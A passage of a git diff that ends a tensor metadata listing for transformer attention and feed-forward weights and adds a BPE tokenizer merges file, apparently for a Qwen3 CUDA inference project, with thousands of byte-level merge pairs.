+TENSOR_299_OFFSET=2931022848 +TENSOR_300_NAME=BLK_27_ATTN_K_WEIGHT +TENSOR_300_DIMENSIONS=1024,1024 +TENSOR_300_TYPE=0 +TENSOR_300_OFFSET=2943605760 +TENSOR_301_NAME=BLK_27_ATTN_K_NORM_WEIGHT +TENSOR_301_DIMENSIONS=128 +TENSOR_301_TYPE=0 +TENSOR_301_OFFSET=2947800064 +TENSOR_302_NAME=BLK_27_ATTN_NORM_WEIGHT +TENSOR_302_DIMENSIONS=1024 +TENSOR_302_TYPE=0 +TENSOR_302_OFFSET=2947800576 +TENSOR_303_NAME=BLK_27_ATTN_OUTPUT_WEIGHT +TENSOR_303_DIMENSIONS=2048,1024 +TENSOR_303_TYPE=0 +TENSOR_303_OFFSET=2947804672 +TENSOR_304_NAME=BLK_27_ATTN_Q_WEIGHT +TENSOR_304_DIMENSIONS=1024,2048 +TENSOR_304_TYPE=0 +TENSOR_304_OFFSET=2956193280 +TENSOR_305_NAME=BLK_27_ATTN_Q_NORM_WEIGHT +TENSOR_305_DIMENSIONS=128 +TENSOR_305_TYPE=0 +TENSOR_305_OFFSET=2964581888 +TENSOR_306_NAME=BLK_27_ATTN_V_WEIGHT +TENSOR_306_DIMENSIONS=1024,1024 +TENSOR_306_TYPE=0 +TENSOR_306_OFFSET=2964582400 +TENSOR_307_NAME=BLK_27_FFN_DOWN_WEIGHT +TENSOR_307_DIMENSIONS=3072,1024 +TENSOR_307_TYPE=0 +TENSOR_307_OFFSET=2968776704 +TENSOR_308_NAME=BLK_27_FFN_GATE_WEIGHT +TENSOR_308_DIMENSIONS=1024,3072 +TENSOR_308_TYPE=0 +TENSOR_308_OFFSET=2981359616 +TENSOR_309_NAME=BLK_27_FFN_NORM_WEIGHT +TENSOR_309_DIMENSIONS=1024 +TENSOR_309_TYPE=0 +TENSOR_309_OFFSET=2993942528 +TENSOR_310_NAME=BLK_27_FFN_UP_WEIGHT +TENSOR_310_DIMENSIONS=1024,3072 +TENSOR_310_TYPE=0 +TENSOR_310_OFFSET=2993946624 \ No newline at end of file diff --git a/src/xpu/flamegraph/qwen3.cu/merges.txt b/src/xpu/flamegraph/qwen3.cu/merges.txt new file mode 100644 index 00000000..0079b556 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/merges.txt @@ -0,0 +1,151386 @@ +Ġ Ġ +ĠĠ ĠĠ +i n +Ġ t +ĠĠĠĠ ĠĠĠĠ +e r +ĠĠ Ġ +o n +Ġ a +r e +a t +s t +e n +o r +Ġt h +Ċ Ċ +Ġ c +l e +Ġ s +i t +a n +a r +a l +Ġth e +; Ċ +Ġ p +Ġ f +o u +Ġ = +i s +ĠĠĠĠ ĠĠĠ +in g +e s +Ġ w +i on +e d +i c +Ġ b +Ġ d +e t +Ġ m +Ġ o +ĉ ĉ +r o +a s +e l +c t +n d +Ġ in +Ġ h +en t +i d +Ġ n +a m +ĠĠĠĠĠĠĠĠ ĠĠĠ +Ġt o +Ġ re +- - +Ġ { +Ġo f +o m +) ;Ċ +i m +č Ċ +Ġ ( +i l +/ / +Ġa nd +u r +s e +Ġ l +e x +Ġ S +a d +Ġ " +c h +u t +i f +* * +Ġ } +e m +o l +ĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠ +t h +) Ċ +Ġ{ Ċ +Ġ g +i g +i v +, Ċ +c e +o d +Ġ v +at e +Ġ T +a g +a y +Ġ * +o t +u s +Ġ C +Ġ st +Ġ I +u n +u l +u e +Ġ A +o w +Ġ ' +e w +Ġ < +at ion +( ) +Ġf or +a b +or t +u m +am e +Ġ is +p e +t r +c k +â Ģ +Ġ y +i st +-- -- +. ĊĊ +h e +Ġ e +l o +Ġ M +Ġb e +er s +Ġ on +Ġc on +a p +u b +Ġ P +ĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠ +as s +in t +> Ċ +l y +ur n +Ġ $ +; ĊĊ +a v +p ort +i r +- > +n t +ct ion +en d +Ġd e +it h +ou t +t urn +ou r +ĠĠĠĠ Ġ +l ic +re s +p t += = +Ġth is +Ġw h +Ġ if +Ġ D +v er +ag e +Ġ B +h t +ex t += " +Ġth at +** ** +Ġ R +Ġ it +es s +Ġ F +Ġ r +o s +an d +Ġa s +e ct +k e +ro m +Ġ // +c on +Ġ L +( " +q u +l ass +Ġw ith +i z +d e +Ġ N +Ġa l +o p +u p +g et +Ġ} Ċ +i le +Ġa n +at a +o re +r i +Ġp ro +; čĊ +ĉĉ ĉĉ +t er +a in +Ġ W +Ġ E +Ġc om +Ġre turn +ar t +Ġ H +a ck +im port +ub lic +Ġ or +e st +m ent +Ġ G +ab le +Ġ - +in e +il l +in d +er e +: : +it y +Ġ + +Ġt r +el f +ig ht +( ' +or m +ul t +st r +. . +" , +Ġy ou +y pe +p l +Ġn ew +Ġ j +ĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠ +Ġf rom +Ġ ex +Ġ O +l d +Ġ [ +o c +: Ċ +Ġs e +Ġ le +---- ---- +. s +{ Ċ +' , +an t +Ġa t +as e +. c +Ġc h +< / +av e +an g +Ġa re +Ġin t +âĢ Ļ +_ t +er t +i al +a ct +} Ċ +iv e +od e +o st +Ġc lass +Ġn ot +o g +or d +al ue +al l +f f +( );Ċ +on t +im e +a re +Ġ U +Ġp r +Ġ : +i es +iz e +u re +Ġb y +i re +Ġ} ĊĊ +. p +Ġs h +ic e +a st +pt ion +tr ing +o k +_ _ +c l +# # +Ġh e +ar d +) . +Ġ @ +i ew +ĉĉ ĉ +Ġw as +i p +th is +Ġ u +ĠT he +id e +a ce +i b +a c +r ou +Ġw e +j ect +Ġp ublic +a k +v e +at h +o id +Ġ= > +u st +q ue +Ġre s +) ) +' s +Ġ k +an s +y st +un ction +**** **** +Ġ i +Ġ us +p p +on e +a il +== == +n ame +Ġst r +Ġ / +Ġ & +a ch +d iv +yst em +el l +Ġh ave +er r +ou ld +ul l +p on +Ġ J +_ p +Ġ= = +ig n +S t +. Ċ +Ġp l +) ;ĊĊ +f orm +p ut +ou nt +} ĊĊ +d d +it e +Ġg et +r r +om e +Ġ âĢ +ar am +c c +Ġ* / +E R +I n +le s +_ s +on g +i e +Ġc an +Ġ V +er v +p r +Ġ un +ro w +b er +Ġd o +l l +Ġ el +Ġs elf +at ed +ar y +Ġ . +' ] +u d +Ġ en +ĠT h +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠ +t e +_ c +u ct +Ġa b +or k +. get +Ġ # +a w +res s +o b +N ame +ap p +[ ' +Ġal l +or y +it ion +an ce +e ar +Ġcon t +v ent +i a +Ġw ill +I N +ĠĠĠĠĠĠĠĠ Ġ +re turn +Ġ< / +d ata +) ĊĊ +R e +p le +il d +th er +Ġy our +" Ċ +( $ +Ġ out +) , +Ġh as +S tring +s o +Ġ up +a x +Ġde f +Ġb o +g e +al se +O N +p er +ic h +Ġb ut +Ġ Ċ +Ġ _ +_ m +ad d +que st +od el +s elf +er y +f t +en s +// // +a ke +. C +Ġg o +Ġf unction +Ġ K +iv ate +Ġ im +Ġcon st +. t +Ġ*/ Ċ +) ;čĊ +Ġv oid +Ġs et +ĠS ystem +c ri +( )Ċ +l i +ĉ if +. m +al ly +s et +e p +âĢĻ s +b o +de f +' ,Ċ +Ġm e +Ġ ! +at ch +" > +" ,Ċ +e c +ĠI n +p h +Ġ | +_ f +Ġv ar +en ce +I d +re e +in k +le ct +u g +et h +Ġel se +-------- -------- +con t +Ġs o +at ic +Ġl o +p ro +t on +s s +ow n +ab el +o int +ou s +el d +S T +T he +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +R E +" : +ol or +t p +e g +ke y +u de +ĠS t +ou nd +Ġa r +" );Ċ +en er +s er +b ject +ess age +f er +Ġm ore +ation s +ent s +Ġh is +Ġthe y +. S +Ġ Y +u se +n e +is h +ol d +_ d +i o +i eld +Ġp er +C ont +ing s +## ## +Ġd ata +Ġs a +e f +f o +Ġon e +en g +Ġd is +A T +Ġn ame +Ġtr ue +v al +le d +. f +Ġn e +Ġ end +. T +c re +ar k +lo g +E x +err or +_ id +ur re +ang e +Ġn ull +rr ay +Ġm y +p an +ic t +at or +V iew +L ist +ĉ return +âĢ Ŀ +Ġp re +Ġ x +cl ude +ar g +o v +. h +Ġ > +Ġthe ir +' ) +ir st +ic k +g h +L E +O R +Ġpr ivate +t em +čĊ čĊ +us er +Ġ ) +c om +. A +" ;Ċ +Ġ id +re ad +Ġwh o +_ b +" >Ċ +Ġt ime +Ġm an +r y +==== ==== +rou p +ro p +p ublic +v el +um ber +b le +Ġwh ich +******** ******** +Ġan y +Ġf alse +w e +Ġv alue +Ġl i +" ) +nd er +g r +Ġn o +p aram +f ig +.c om +Ġa pp +_ l +ion s +. D +ĠC h +Ġab out +Ġa dd +Ġs u +Ġstr ing +I D +Ġo ver +str ing +. l +our ce +_ C +] Ċ +Ġ qu +ĠS tring +c a +S E +Ġ ro +s h +u al +T ype +s on +n ew +er n +Ġa g +A R +] ;Ċ +] . +Ġ ? +ic al +Ġd es +ut h +i x +ay s +Ġt ype +' t +a ult +Ġin ter +v ar +. b +Ġp art +. d +urre nt +I T +E N +en c +( f +r a +v alue +ch o +ut ton +o se +Ġ! = +at er +à © +re ate +ol l +p os +y le +n g +A L +us ing +am es +Ġ{ čĊ +at es +el y +Ġw ork +Ġ em +in al +Ġs p +Ġwh en +.s et +ĠĠĠĠ ĠĠ +) :Ċ +t o +qu ire +ind ow +le ment +pe ct +as h +[ i +Ġu se +. F +pe c +Ġa d +o ve +ce ption +eng th +in clude +ad er +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠ +at us +T h +it le +r it +v oid +() . +( Ċ +Ġof f +Ġo ther +Ġ& & +' ;Ċ +m s +Ġbe en +Ġt e +m l +c o +n c +erv ice +Ġ % +** Ċ +an n +ad e +ĊĊ ĊĊ +lo ck +con st +pon se +Ġs up ++ + +d ate +Ġa cc +Ġh ad +Ġb u +ĠR e +Ġw ere +Ġf ile +Ġw ould +ĠâĢ ľ +v en +is s +Ġ our +c lass +r aw +Ġy ear +D ata +Ġv al +Ġs ome +f ter +y s +Ġ// / +rou nd +v iew +Ġp e +Ġth ere +Ġsa id +d u +o f +l ine +/ * +d uct +Ġh er +ĠĠĠĠĠĠĠĠ ĠĠĠĠĠ +R es +Ġc o +Ġcom m +is e +m in +ĠĠĠĠ Ċ +# include +eth od +. P +ut e +Ġas s +I nt +as k +lo c +Ġli ke +od y +Ġle t +lo ad +Ġa m +ro l +Ġg r +y p +Ġal so +ĠI t +ur l +if ic +or s +_ P +_ n +ig h +Ġth an +C om +A N +U L +at ing +ĠTh is +re f +_ S +Ġst atic +ro ll +Ġj ust +Ġres ult +i an +id th +Ġthe m +) );Ċ +d er +re ak +C on +: // +u le +.. . +ar ch +em ent +Ġ< < +us h +en se +ar r +Ġint o +c ess +am p +i ed +um ent +Ġ \ +] , +w o +al s +Ġwh at +an c +V alue += ' +ol um +Ġp os +ag es +ay er +Ġs c +u es +" )Ċ +_ T +Ġl ist +( s +Ġc ase +C h +ĉĉĉĉ ĉ +//// //// +pon ent +Ġ z +Ġk n +le t +D E +re d +Ġf e +Ġ} ,Ċ +Ġ , +( t +Ġf irst +' );Ċ +w ord +Ġ import +Ġa ct +Ġch ar +C T +ĠT r +op le += { +ĉ f +i ent +c ent +. j +le ction +) )Ċ +Ġon ly +Ġpr int +m er +. W +o ck +Ġ -- +T ext +Ġo p +an k +Ġit s +Ġb ack +[ " +Ġne ed +Ġc l +Ġs ub +Ġl a +( ( +. " +O bject +Ġst art +f ile +( self +n er +e y +Ġus er +Ġ ent +ĠC om +it s +ĠC on +ou ble +ow er +it em +ver y +ĠW e +lic k +Ġ Q +ph p +t tp +' : +ic s +Ġu nder +Ġ* Ċ +. L +) ; +ic es +Ġre g +) čĊ +ĉ public +S S +Ġth en +re at +i ous +. G +e k +ire ct +he ck +cri pt +n ing +ĠU n +Ġm ay +ĠW h +B o +I tem +str uct +. st +re am +ib le +lo at +Ġor g +u nd +s um +_ in +.. / +_ M +Ġh ow +r ite +' Ċ +T o +w w +Ġpe ople +ind ex +. n +ht tp +( m +ect or +Ġin d +Ġj av +] ,Ċ +ĠH e +_ st +f ul +o le +) {Ċ +Ġsh ould +op y +el p +i er +_ name +ers on +I ON +ot e +Ġt est +Ġb et +rr or +ul ar +ã Ģ +Ġ Ð +b s +t ing +Ġm ake +T r +Ġa fter +ar get +R O +olum n +r c +_ re +def ine +Ġr ight +r ight +d ay +Ġl ong +[ ] +( p +t d +con d +ĠP ro +Ġre m +ption s +v id +. g +Ġ ext +Ġ __ +' )Ċ +p ace +m p +Ġm in +st ance +a ir +a ction +w h +t ype +ut il +a it +< ? +I C +t ext +Ġp h +Ġf l +. M +cc ess +b r +f ore +ers ion +) ,Ċ +. re +ate g +Ġl oc +in s +- s +tr ib +ĠI nt +Ġa rray +, " +P ro +( c +ess ion +> ĊĊ +Ġs he +" ] +ap h +Ġex p +ert y +ĠS e +Ġp ar +un c +E T +Ġre ad +pr int +Ġre l +Ġfor m +Ġd r +Ex ception +in put +Ġtr ans +#### #### +ord er +B y +Ġa w +it ies +u ff +pl ay +. add +ĠâĢ ĵ +Ġw ant +Ġcom p +ment s +Ġ| | +a z +b e +Ġn umber +Ġre quire +ĠE x +Ġc ol +Ġ key +em ber +Ġt wo +Ġs ize +Ġwh ere +U T +res ult +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +ou gh +or ld +o od +u ch +at ive +g er +are nt +Ġ/ * +Ġar g +Ġwh ile +( this +Ġre c +Ġd if +St ate +Ġs pec +r ide +_ F +Ġlo ok +A M +il ity +et er +âĢĻ t +ĊĊ Ċ +ay out +---------------- ---------------- +ag er +Ġc ould +Ġb r +end s +u res +Ġkn ow +et s +ĠI f +ĠS h +. w +b ack +Ġs er +Ġ+ = +Ġf r +() );Ċ +Ġh and +I nd +UL L +I m +() ;ĊĊ +Ġm ost +Ġtr y +Ġn ow +rou gh +> čĊ +ack age +Ġh im +. _ +if y +Ġb reak +Ġ );Ċ +re n +# define +it t +Ġa p +ĉ c +( n +ĠY ou +: ĊĊ +- m +Ġe very +ust om +li ent +oc ument +cri ption +E rror +- b +Ð ¾ +] [ +tr ans +Ġp oint +Ġst d +Ġf il +T ime +Ġm od +Ġ -> +Ġ error +a h +Ġt ext +roll er +lo se +q l +Ġp ol +> < +. B +- c +Ġop en +Ġe st +ĠĠĠĠĠĠĠĠ Ċ +Ġn ext +I M +Ñ Ĥ +O T +à ³ +Ġf ollow +cont ent +ĠĠĠĠĠĠĠĠ ĠĠĠĠ +Ġin clud +H E +ĠR es +Ġh ref +Ð ¸ +Ġc ar +yp es +im age +U n +Ġbo ol +A D +Ġg ame +.F orm +row s +* / +vel op +.D rawing +Ġp ath +is ion +Ġe ach +ĠP l +_t ype +P ath +ne ction +Ġa v +' ). +Ġsup port +EN T +re m +" ). +Ġo wn +Ġc or +c ount +m iss +u ally +Ġm em +st d +i ence +se arch +" ĊĊ +F orm +Ġs ex +en ame +Ġs ign +Ġ et +ĠĠĠĠĠĠĠĠ ĠĠ +', ' +ĠA pp +Ġth ose +o ff +Ġ err +Ġs ystem +Ġbe st +c ode +Ġs ame +Ġd i +us s +Ġc reate +ath er +A rray +. in +f e +S ervice +U N +at s +Ġ Z +al th +Ġm ade +tr ue +A B +Ġm ark +r id +if ied +, čĊ +y n +p ress +Ġg roup +Ġf in +ĠL icense +F ield +eg er +Ġw orld +in ess +t y +Ġpro cess +( b +Ġc re +ar n +iv es +Ġm ain +ide o +_ g +A G +val id +im g +P I +Ġc olor +Ġre port +Ġt ake +ri b +O M +Ġd ay +Re quest +Ġs k +b ers +ĉ s +.A dd +o ot +Im age +Ġcom ple +ol lection +Ġto p +Ġf ree +A S +D e +ĠO n +I G +et a +D ate +Ġa ction +O ver +it or +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +n ot +Ġind ex +h er +ic on +O n +;čĊ čĊ +iv ity +m and +.W indows +O L +Ġre al +Ġm ax +l and +.. .. +r aph +Ġbu ild +le g +ass word +? ĊĊ +âĢ ¦ +o ok +u ck +Ġm essage +t est +iv ers +Ġin put +Ġar t +Ġbet ween +G et +ent er +g round +en e +à ¡ +.l ength +N ode +( i +C lass +f or +ĠâĢ Ķ +t en +o in +Ġ ke +u i +ĠI N +Ġt able +s ub +ĠL e +Ġhe ad +Ġm ust +//////// //////// +. util +Cont ext +Ġor der +Ġm ov +o ver +Ġcont in +Ġs ay +st atic +.T ext +Ġclass Name +pan y +Ġt er +he ad +r g +Ġpro duct +Th is +. âĢĿ +ĠB ut +lo y +Ġd ouble +s g +Ġpl ace +. x +m essage +Ġin formation +pr ivate +Ġo per +c ed +d b +"> +ater ial +ile d +Ġp ut +Q u +Ñ Ģ +un g +m ap +ĉĉĉĉ ĉĉĉĉ +Ġle vel +Com ponent +bo ok +cre en +_ RE +Ġcon fig +ã ģ +O r +. data +Ġd ocument +", " +trib ute +u x +L og +fer ence +p ost +_ e +Ġloc al +and om +ass ert +V al +lect ed +in a +atab ase +A dd +Ġcont ent +.p rint +s igned +r ic +." ĊĊ +Ġf a +! ĊĊ +- f +iv ed +Ġ quest +. ex +Ġf loat +Ġde velop +о Ð +M ap +ad ing +Ġpos s +U E +n amespace +_ O +ĉ b +.G et +> ( +j son +etail s +Ġto o +Ġext ends +ĠN one +Ġf ore +( String +form at +Ġg reat +int er +ca le +Ñ ģ +r on +iv ing +E nt +enc y +x t +o y +Ġmon th +Ġh app +Ġsup er +b ar +def ault +_ de +ord s +l n +( {Ċ +ĠI nd +as es +Ġt itle +Ġcont ext +o h +- p +E m +Ġm et +T est +Ġl ife +_ v +ĠU S +U I +oc ation +m d +Ġ[ Ċ +Ġ ] +s w +Ġin cre +s cript +ent ial +w ays +. de +Ġs rc +Ġc atch +ĠA meric +// Ċ +ĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠ +Ġp ay +pl it +âĢ Ķ +Ġc oun +ob j +.ph p +Ġch ange +eth ing +' re +ast er +lo s +l ation +ĠĠ Ċ +L e +à ¤ +( { +read y +ĠN o +Ġpos ition +Ġo ld +Ġbo ok +able d +b ug +H and +} ;ĊĊ +is play +av ing +Ġgo ver +Ġv ersion +S ystem +n ect +res ponse +St yle +U p +ang u +Ġth ree +in it +er o +Ġl aw +end if +Ġb ase +em ail +( l +_ V +Ġcon f +AT E +Ġd uring +t es +Ġcon sole +ĠP r +Ġs pe +v es +p ath +ial og +d ition +_t o +ard s +Ġagain st +et work +ĠP h +_ L +c ur +im it +W ith +Ġp ower +i um +' ;ĊĊ +Ġw om +le ft +our ces +at ri +ĠI m +ĠM an +or th +$ { +qu als +es e +_s ize +Ġis s +ot al +- g +i que +r ame +Ġw idth +er g +) ( +itt le +T R +ĠThe y +enc es +r l +on s +Ġl abel +. y +- t +up date +an el +s c +.t o +Ġpro ject +à ¼ +Ġe lement +Ġsu ccess +ĉĉ Ċ +.s h +r am +ch ed +() )Ċ +Ġ( Ċ +Ġd ate +Ġto t +_ ST +A ll +ific ation +ĉ var +Ġt ri +ch em +m y +Ġb ig +ĠA d +ĠA t +ot s +n um +A ct +Ġm ap +er a +co pe +. $ +, âĢĿ +Ġp op +Ġf ew +Ġl en +u id +et ers +u les +Ã Ń +s ource +http s +Ġd em +Ġe ar +######## ######## +Ġm atch +or ies +ac es +ĠC l +Ġn ode +ir c +loc al +un ity +} ;Ċ +Ġan other +< < +og le +Ġs it +ew ork +T E +. I +N S +olog y +ou ght +.C ont +> > +Ġc are +st ate +ĉ private +Ġe ffect +++ ) +_f ile +end ing +L ine +F or +i or +ĠS c +Ġf un +.S ize +ĉ else +] ) +st art +v ious +Ġ} , +our s +Ġle g +Ġs ervice +Ġs ince +ir on +L abel +Ġn on +Ġl os +ict ion +Ġf ull +act er +bo ard +g ress +Ġt urn +ith er +.s ize +Ġb ody +res h +et urn +( _ +y les +orm al +p i +Ġsom ething +! -- +u int +Ġpro du +Ġst and +Ġpro ble +Ġav ailable +m t +ĠB l +Ġ ... +Ġb lock +In put +Ġke ep +C ount +op en +Ġ[ ' +Ġth row +uild er +A ction +Ġth ings +Tr ue +Ġ url +ĠB o +print f +Ġre d +j s +.c reate +ĠO r +St atus +In stance +Ġcont rol +Ġcom e +Ġc ustom +loc ation +m odel +Ġ čĊ +Ġs ource +Ġe as +. out +] ĊĊ +one y +Ġaw ait +Ġpart ic +A P +ub lish +od es +_p ro +p ly +rit er +Ġpro v +Ġm ill +H T +] )Ċ +Ġch ang +Ġas k +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠ +Ġout put +Ġem ail +.p ush +Ġ} čĊčĊ +in ation +atri x +T able +u ccess +] );Ċ +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +Ġdis c +( [ +Ġb usiness +he ight +. html +t a +f ield +Ġrequire d +_ R +Ġgover n +} čĊčĊ +le x +. , +ĠS et +ur ch +// / +t s +a f +Ġm ight +ist ory +S tr +Ġne ver +Res ponse +ar se +ad a +ĠH ow +Ġ* ) +Ġ ; +Ġh ard +A d +Ġinter n +us ed +( data +m od +ann el +Ġn p +ug g +Ġ/ >Ċ +Ġcal led +b ody +Ġch o +( r +_s et +ir d +Ġ> = +Ġ} ;Ċ +Ġo ptions +ĠG ener +Ġhe ight +P oint +Y ou +et y +C lick +Ġsm all +Ġ ide +Ġacc ess +angu age +Ġprot ected +Ġj ob +ĠTh ere +D ef +Ġadd ress +Ġu int +N ot +o o +ap s +< div +ain ed +at ur +Ġs um +- w +ĠD ate +Ġl ittle +Ġf ri +Y PE +Ġp ort +e h +pr ing +_p ath +Ġst atus +a im +bo ol +Ġap pe +Ġo s +. name +ens ion +_ G +Ġup date +Con fig +a ff +ER R +Ġ< = +at ely +# if +u ction +ĠT e +Ġl ink +ĠU ser +.f ind +. org +m e +Ġg iven +O ut +# endif +Ġbet ter +P age +Ġfe el +en n +M L +Ġal ready +Ġinclud ing +o ogle +r u +ic ally +pro p +le an +out er +Ġal ways +ord ing +I f +or age +Ġp arent +v is +ĉĉĉĉ ĉĉĉ +Ġg ot +st and +Ġle ss +/ s +ĠA ss +ap t +ire d +ĠA dd +Ġacc ount +p loy +Ġd er +res ent +Ġl ot +Ġval id +ĉ d +Ġb it +pon ents +Ġfollow ing +_ ex +S ON +Ġs ure +oc ial +Ġp rom +ert ies +he ader +.p ro +Ġbo olean +Ġse arch +k en +Ġor ig +Ġ er +E d +E M +a ut +l ing +al ity +By Id +b ed +ĉc ase +eth er +pos it +Ġinv est +ĠO R +Ġs ays +miss ion +AM E +Ġtem p +o ad +Ġre st +in fo +Ġinter est +A rg +Ġper form +pon s +ĠV iew +Ġv er +l ib +( const +U til +List ener +ar ge +Ġm ult +Ġd ie +Ġs ite +../ ../ +E L +Ġval ues +Ġ} )Ċ +p en +N o +ic ro +Ġbe h +Ġ' ./ +ac y +re c +() -> +ĉ ĠĠĠ +" )) +Cont ent +_ W +ple ment +Ġw on +Ġv ideo +ad i +p oint +% % +Ġg l +erv ed +v iron +I F +ut ed +ã ĥ +' m +Ġc ert +Ġpro f +Ġc ell +ar i +Ġpl ayer +a is +Ġc ost +Ġh um +( R +Ġoff ic +k s +.t ext +at ures +Ġtot al +Ġ*/ ĊĊ +o pe +Ġst at +U M +Ġlo ad +ight s +Ġc lear +u ro +Ġte chn +up port +I R +Ġ row +Ġse em +Ġ q +Ġsh ort +ĠN ot +ip p +G roup +se ction +m ax +ir l +Ġover ride +Ġcom pany +Ġd one +" );čĊ +Ġg re +. Re +Ġbel ie +r ist +Ġhe alth +AN T +() ĊĊ +ĠB e +. value +ĠG r +ott om +Ġarg s +P T +st atus +f unc +um ents +- h +N umber +: čĊ +ĠL og +er ver +Ġ) ,Ċ +am ent +Ġob j +in c +Ġchild ren +ic y +I Z +and s +ab ly +Ġdist rib +Ġc ur +er ial +Ġd ays +re ated +re ct +- l +ir m +idd en +om b +Ġin itial +.j s +Ġ â +Qu ery +Ġon line +im al +. con +a u +U rl +cont rol +ire ction +Ġin stance +OR T +ĠF r +wh ere +Ġjav ax +Ġorg an +ap ter +Ġre ason +o ptions +ĠM ar +( a +Ġwith in +.âĢĿ ĊĊ +O DE +_ DE +ad min +end ed +Ġdes ign +ĠD ata +un e +ĠF ile +ro ot +Ġc ent +Ġa rr +_ add +l en +p age +, ' +_ str +Ġb ro +ab ility +ou th +/ c +p ose +irt ual +ear ch +_ url +arg in +H ttp +Ġs chool +av a +Ġcons ider +.l abel +ĠA rray +we b +o pt +.print ln +ul ation +Ġf unc +P L +Ġ" \ +ĠT ext +act ory +(f unction +n ull +Ġen g +d own +Ġin clude +ĠE n +ĠD r +Ġd b +! ! +s ide +Ġin it +quire d +ĠS he +C olumn +re act +Ġan n +Ġst op +Ġl ater +ĠTh at +ent ion +d f +U G +I LE +Ġc lient +ra ft +ff er +PO ST +el per +Ġlo ve +qu ote +ou d +Ġj son +Ġab le +Ġm en +A X +ĠC opyright +à ¶ +av ig +re q +C lient +} );Ċ +.C om +er c +il t +pec ial +_c om +ro om +. Name +Ġg ive +am b +i ke +Ġcon dition +cl ient +ator s +: " +Ġc opy +ut ure +ivers ity +ern al +{ { +ĠC an +ou nc +d o +Ġo cc +Ġapp ro +th ers +z e +Ġe ither +ĠF l +Ġimport ant +Ġle ad +at tr +AR T +E qual +Ġd a +et ch +ent ity +Ġfam ily +add ing +Ġo ption +Ġex ist +ic a +ĠO bject +' ve +v ers +ition al +out put +ĠTr ue +ĠO F +_t ime +Ġof fer +Ġ} );ĊĊ +H ER +eg in +" " +Ġw ater +Ġc he +ĠM y +ore d +Ġst ep +anc es +C K +A Y +à ¸ +str uction +( C +ou ch +St ream +act ive +am a +Ent ity +pro duct +() {Ċ +Ġgovern ment +ĠI D +aj or +A nd +Ġdis play +Ð » +Ġt imes +Ġf our +Ġf ar +Ġpres ent +ĠN S +Ġ\ Ċ +ue st +Ġb as +e cho +ch ild +if ier +Hand ler +Ġl ib +Prop erty +trans lation +Ġro om +Ġon ce +Ġ[ ] +cent er +================ ================ +Ġresult s +Ġcontin ue +Ġt alk +_ get +Ġg row +.s w +e b +ĠP ublic +O P +ec ute +ol s +Ġ ** +" );ĊĊ +Ġm ass +ure d +.c lass +om ic +Ġme an +ip s +Ġa ut +);čĊ čĊ +Ġun til +Ġmark et +Ġare a +u it +Ġl ength +ĠW ith +struct or +e vent +"> < +ĠS p +I V +Ġm us +if f +Ġk ind +a uthor +ound s +m b +_ key +w idth +posit ory +Ġl ight +u k +R ow +oh n +al f +viron ment +app er +ollection s +Ġs ide +_in fo +Ġex ample +im ary +Ġw r +Ġc amp +cri be +" / +Ġm iss +w ay +Ġb ased +Ġpl an +V is +om ain +un k +Ġaw ay +U P +< T +O S +i od +ĠM on +âĢĻ re +Ġli k +à § +iv ely +. v +im er +iz er +S ub +Ġbut ton +ĠU p +Ġexper ience +C L +Ġre nder +_ value +Ġn ear +UR L +al t +Ġcoun try +ib ility +() ,Ċ +e ad +Ġa uthor +Ġspec ific +b ase +( name +on es +ĠD o +Ġal ong +y ear +Ġexp ress +. ' +en v +Ġbeg in +Ġso ftware +Ġim p +Ġw in +ó n +Ġth ing +Tr ans +ĠT HE +Ġ< ? +Ġwh y +Ġdoes n +i j +g ing +ĉ g +Ġs ingle +off set +ar ning +og raph +le y +_c ount +Ġan al +cre ate +/ m +ĠR eg +un ch += $ +is k +Ġright s +( M +Ġ"" "Ċ +ap er +.m odel +Ġp o +em pty +art ment +Ġa nt +ĠWh en +Ġwom en +ĠE d +Ġse ason +Ġde st +à £ +( h +Ġposs ible +Ġse ver +Ġb tn +Ġdid n +Ġs ent +Ġen c +Ġcomm and +Ġ ],Ċ +_ x +Ġre cent +ol ution +v ector +ĠB y +ĠM ay +ĠA ct +» ¿ +Ġm oney +IN T +bs ite +ĉ p +. čĊ +ï »¿ +s l +atter n +ĠC lass +Ġto ld +ud io +c urrent +Ġe qu +Ġa uto +ĠSt ate +d a +ms g +)) ;ĊĊ +Ġwork ing +Ġqu ery +ĠB r +Ġw indow +a uth +on ly +ĉ t +Ġle ast +ag n +Ġex pl +it ter +ar ing +Ġc olumn +ĠGener al +": " +er al +ri or +Ġrec ord +I B +E X +Ġd at +Ġm aking +u ed +ĠC ar +em p +" . +ĠM ed +Ġc lose +Ġper cent +Ġp ast +( g +: ( +Ġw rite +Ġm ove +Ġp at +Cont rol +.T o +Ġv i +*/ Ċ +in ate +' ll +ag ed +N ull +Ġspec ial +IZ E +Ġc ity +/* Ċ +ĠE ng +ix ed +in ary +p y +Ġe ff +ar io +Ġt ell +av or +Ġse lect +le vel +im um +op er +B uilder +I P +') ,Ċ +es c +Ġf ont +" ;ĊĊ +ĠA m +ish ed +ill s +Int er +O W +Ġcour se +Ġl ate +idd le +Ġam ount +Ġas ync +in o +c ul +Ġ ì +and le +_ user +Ġb en +ĠC al +Ġ$ _ +ĠR ep +Ġen ough +T oken +. user +( j +S c +W idth +n ow +at form +Ġlook ing +Ġh old +M odule +IT Y +v o +is on +.D ata +y c +Ġp ot +ĠTr ump +id ual +id es +r t +Ġprop erty +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ 